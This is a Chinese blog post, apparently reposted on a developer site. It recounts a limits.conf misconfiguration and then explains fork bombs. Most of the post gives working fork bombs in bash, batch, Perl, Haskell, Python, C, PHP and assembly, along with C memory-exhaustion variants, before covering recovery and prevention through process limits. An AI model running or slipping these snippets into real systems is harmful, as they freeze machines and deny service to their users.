LINUX Fork bomb

http://frfj.blogspot.com/2008/08/linux-fork-bomb.html 

看了某书,防止DOS攻击,修改/etc/security/limits.conf

* hard core 0
* hard rss 5000
* hard nproc 20

于是重启后,出现

resource temporarily unavailable


查了相关资料,原来是这个配置文件的问题,第三行是限制用户的fork进程数的,这里太小了,以至于不够用了,进个图形界面都超过限制了,于是修改一下:

* hard nproc 100

现在够用了,顺便了解了一下forkbomb(fork炸弹)

fork就是用来创建进程的,fork炸弹就是通过快速的创建很多进程让你机器挂掉,属于拒绝服务攻击的一种,因为进程数量是有限的,可以通过命令ulimit -a查看

core file size (blocks, -c) 0
data seg size (kbytes, -d) unlimited
scheduling priority (-e) 0
file size (blocks, -f) unlimited
pending signals (-i) 16383
max locked memory (kbytes, -l) 32
max memory size (kbytes, -m) 10000
open files (-n) 1024
pipe size (512 bytes, -p) 8
POSIX message queues (bytes, -q) 819200
real-time priority (-r) 0
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) 100 最大用户进程数
virtual memory (kbytes, -v) unlimited
file locks (-x) unlimited

这里看到和刚才配置文件/etc/security/limits.conf设置的一样,用-u命令可以直接改成你要的限制数目。

举例:
下面这段代码可以作为一个fork炸弹(Jaromil ,2002),在bash下执行

:(){ :|:& };:

windows下的fork炸弹,batch编写

:s
START %0
GOTO :s

更简洁的写法:

%0|%0

perl语言:

#!/usr/bin/perl
fork while 1

Haskell:

import Control.Monad
import System.Posix.Process

forkBomb = forever $ forkProcess forkBomb

Python:

import os

while True:
os.fork()

c语言:

#include

int main(int argc, char* args[])
{
while(1)
fork();
return 0;
}

PHP:

while(1)
pcntl_fork();

x86(fasm):

format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start


通过不停的申请内存造成内存不足也可以达到同样效果。
C:

#include
#include

int main(void) {
/* An infinite loop. */
while (1) {
/* Try to allocate 1MB of memory. */
malloc(1048576);
/* Fork the process so that we have exponential growth in memory. */
fork();
}

return EXIT_SUCCESS;
}

因为现代的操作系统运用了Copy-on-write虚拟内存技术,也就是你不使用的话,他不会真正的分配到物理内存。
上面代码修改成这样就可以:

#include
#include

int main(void) {
int *x;

while (1) {
fork();
/* Allocate the memory to a pointer to int */
x = malloc(sizeof(int) * 1048576);
/* Try to use the newly allocated memory */
*x = 0;
}

return EXIT_SUCCESS;
}

这段代码只影响其中第一页,要想影响整个1M空间,必须至少使用每一页的一个字节

解决方法:
一个成功的fork bomb除非reboot,系统不会恢复,因为已经不能新建进程(kill)来杀掉炸弹进程。

:(){ :|:& };:

这段代码的作用是不能再fork,我们可以用一个什么也不做的新进程,每一个新进程都可以减少一个forkbomb的数量,最后就可以消灭掉它,然后这个新进程就可以退出了。
Z Shell语法:

while (sleep 100 &!) do; done


预防:
像最开始修改配置文件/etc/security/limits.conf一样,我们限制用户的最大进程数量(以至于俺限制得过分了^_^!!)。
linux补丁如grsecurity可以检测哪个用户执行了fork炸弹程序

参考:http://en.wikipedia.org/wiki/Forkbomb

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值